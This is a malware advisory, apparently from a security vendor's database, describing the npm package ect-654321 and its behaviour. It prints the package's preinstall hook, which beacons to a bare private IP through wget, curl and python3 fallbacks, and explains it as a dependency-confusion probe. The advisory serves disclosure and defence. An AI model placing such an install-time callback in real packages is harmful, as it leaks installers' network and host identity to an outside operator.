Launch Week Day 1: Announcing Security Design Review
CRITICAL npm Malware

Malicious code in ect-654321 (npm)

MAL-2026-5719

Published · Modified

Description


__

Source: amazon-inspector (ec784a9a1926de8d2c18de41c996e69e10f7001bf9fdc7604edc22d5775b4540)

ect-654321 contains only a package.json with a preinstall lifecycle hook that unconditionally executes wget http://10.107.121.85:8000/callback_wget_654321 || curl http://10.107.121.85:8000/callback_curl_654321 || python3 -c...urlopen('http://10.107.121.85:8000/callback_py_654321') on npm install. The destination is a bare RFC1918 IP on plain HTTP with no documented purpose, and the callback path embeds the package version as a probe identifier. The package ships no library code, no main entry, and an empty author field with description 'Probe', so the only effect of installing it is the outbound beacon. This shape — empty placeholder package + version-numbered callback path + bare-IP HTTP fetch in preinstall — is a dependency-confusion / namespace-probing payload that confirms reachability of the installer's network to the operator and leaks the installer's source IP, DNS resolver, and host identity. The triple-fallback (wget/curl/python3) ensures the beacon fires across diverse install environments. Whether published as red-team research or real attack tooling, the install-time behavior is identical and harmful to any installer that pulls the package.

Ready to move

Start Securing

Free, no credit card | First findings in minutes